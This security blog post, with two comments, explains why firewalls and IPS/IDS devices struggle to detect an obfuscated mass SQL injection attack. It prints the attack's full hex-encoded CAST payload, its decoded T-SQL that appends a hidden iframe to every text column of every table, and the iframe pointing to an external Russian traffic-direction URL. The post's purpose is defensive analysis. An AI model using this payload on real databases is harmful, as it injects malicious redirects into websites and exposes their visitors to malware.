Evading IPS, IDS, and firewall security devices

A friend and co-worker of mine Jerry Mangiarelli recently posted about a SQL injection attack that he has been following.  You can read his post here.  As he indicates, it is not a new attack, nor a very complex attack.  If you are interested in more details of the attack, SANS has more detailed review of the attack available here. My focus is not so much on the attack itself, but on the detection of the attack with security devices and why it is harder problem than many realize.

I think this attack is a really good example of how it is difficult for firewall, IPS, and IDS vendors to detect these type of attacks.  While the ability to do so is improving every day, and vendors will claim they can (and in some cases they can), the bad guys do have the advantage.  For the purposes of this post, I want to focus on how the attack attempts to hide from deployed security systems.  This attack can be used as a great example of how easy it is to evade detection systems for people that are not technically dealing with attacks day to day and wonder why it is so hard.

The key to this attack is the CAST function.  This function (which is available in many programming languages), will convert one data type to another.  A set of integers to a letter, a decimal number to a hexadecimal number are two examples.   In the attack, hexadecimal is used to mask the alphanumeric requests to the database.

If you look at the actual CAST function request, you see a 0x (means the next characters are a hexadecimal base) followed by:

6445634c417245204054207661526368615228323535292c406320764152434841722832353529206465634c417265207461624c455f635572734f5220435552534f5220466f522053454c45437420412e6e616d652c622e6e614d652066726f4d207379734f626a6543747320612c737973434f4c754d4e73206220776865524520612e69643d422e696420614e4420412e58745950653d27552720616e642028622e78545950653d3939206f7220622e58547970653d3335206f5220422e78545950653d323331204f5220622e78747970453d31363729206f50454e205441624c655f637552736f72206645544348206e6558542046524f6d205461426c455f437552734f7220494e744f2040542c4063207768696c4528404046657443685f7374417475533d302920626547496e20657845632827557044615445205b272b40742b275d20536554205b272b40632b275d3d727452494d28434f4e5665525428564152434841722834303030292c5b272b40432b275d29292b6361535428307833433639363637323631364436353230373337323633334432323638373437343730334132463246364536353644364636383735363936433634363936393645324537323735324637343634373332463637364632453730363837303346373336393634334433313232323037373639363437343638334432323330323232303638363536393637363837343344323233303232323037333734373936433635334432323634363937333730364336313739334136453646364536353232334533433246363936363732363136443635334520615320766152434861722831303629292729204645544368204e6578742066526f6d207441426c655f635572734f7220496e744f2040742c406320456e4420436c6f7365207461626c455f437552736f52206445414c4c6f43415465205461424c655f435552736f7220

The CAST function will convert the hexadecimal above to alphanumeric. The result of that conversion is:

dEcLArE @T vaRchaR(255),@c vARCHAr(255) decLAre tabLE_cUrsOR CURSOR FoR SELECt A.name,b.naMe froM sysObjeCts a,sysCOLuMNs b wheRE a.id=B.id aND A.XtYPe=’U’ and (b.xTYPe=99 or b.XType=35 oR B.xTYPe=231 OR b.xtypE=167) oPEN TAbLe_cuRsor fETCH neXT FROm TaBlE_CuRsOr INtO @T,@c whilE(@@FetCh_stAtuS=0) beGIn exEc(‘UpDaTE ['+@t+'] SeT ['+@c+']=rtRIM(CONVeRT(VARCHAr(4000),['+@C+']))+caST(0x3C696672616D65207372633D22687474703A2F2F6E656D6F6875696C6469696E2E72752F7464732F676F2E7068703F7369643D31222077696474683D223022206865696768743D223022207374796C653D22646973706C61793A6E6F6E65223E3C2F696672616D653E aS vaRCHar(106))’) FETCh Next fRom tABle_cUrsOr IntO @t,@c EnD Close tablE_CuRsoR dEALLoCATe TaBLe_CURsor

Now you can see how this looks more like a SQL statement, it is just masked.  Where it becomes difficult for IPS/IDS vendors is that the translation that I did above, doesn’t happen until it reaches the sql engine for the targeted database.  So in flight through network it appears as hexadecimal.  Do you design your IPS/IDS systems with a sql engine that performs this function on every command?  That takes time and resources. And what would you trigger on exactly in the decoded section above?  The most logical thing to detect on in the decoded section, the attackers have actually hidden.

If you look carefully, there is a second CAST function nested within the first CAST function.

caST(0x3C696672616D65207372633D22687474703A2F2F6E656D6F6875696C6469696E2E72752F7464732F676F2E7068703F7369643D31222077696474683D223022206865696768743D223022207374796C653D22646973706C61793A6E6F6E65223E3C2F696672616D653E

If you convert the hexadecimal in this inner CAST function you get:

<iframe src=”http://nemohuildiin.ru/tds/go.php?sid=1″ width=”0″ height=”0″ style=”display:none”></iframe>

This would be the logical area to detect.  A SQL query containing an HTML IFRAME tag to an external unknown website.  And this is the attack.  The problem is that the IPS/IDS, firewall or other security would have to do the extra function of converting the CAST within the CAST function.

Processing recursively  is resource intensive.  How many times to you recurse through the CAST function?  Are there other functions in SQL you should check?  What about if it is not hexadecimal but octal or some other numerical base?

While security vendors often claim they can detect the above, there are often many conditions around those claims that they do not explain.  Encryption, nested functions as above are but a few examples.  These problems go beyond just SQL injection as well, and apply for many types of attacks.

When evaluating these technologies, it is important that you have someone on your side that is independent of any vendors.  An employee or consultant that understands your requirements, is technically sound and solid about how the technology works (not just in theory), and can work on your behalf to ensure you understand exactly what the technologies can and can not do.  You then have a real understanding of the risks and exposures you face.

photo credit

  • Jerry Mangiarelli

    Hi Mike,

    You’re right and it’s really the inability to properly validate input. As we’ve seen with some applications it’s difficult to implement proper controls to protect against web attacks, so external solutions must be considered (IDS, IPS, WAFs … etc) But these external solutions are built around a list of blacklisting filters that are meant to detect malicious attacks but in general, this is regarded as the least effective approach to validating user input. Obfuscation attacks will continue, why? Because they work.

    • Clear2Go

      Hi Jerry

      Thanks for your comment. I agree that blacklisting is the least effective approach to validating input. The problem in the use-case you highlighted and I spoke about above, is what is an effective way to validate and stop this attack? Do you make a set of policies that don’t allow obfuscation? Difficult to implement, and chances are a coder can easily get around it. Do you look at the number of recursive calls to fully decode the query? For the attack you highlighted, currently the only guaranteed way to detect it with a close to 0% false positive rate easily, is to use a reputation solution where the URL is cross referenced, once all the nested obfuscation is removed.
      Another way is to use behavioural analysis which attempts to define the behaviour into a normal distribution then focus on the behaviour that is two or more sigmas away. This is complicated, requires a detailed understanding of the application and services, the potential valid variations, and the skill to understand these behaviours and investigate behaviours. This requires a different way to view security, a much different skill-set and approach to security. The industry is a long way off to be effective with this approach in my opinion. We will get there, just very slowly.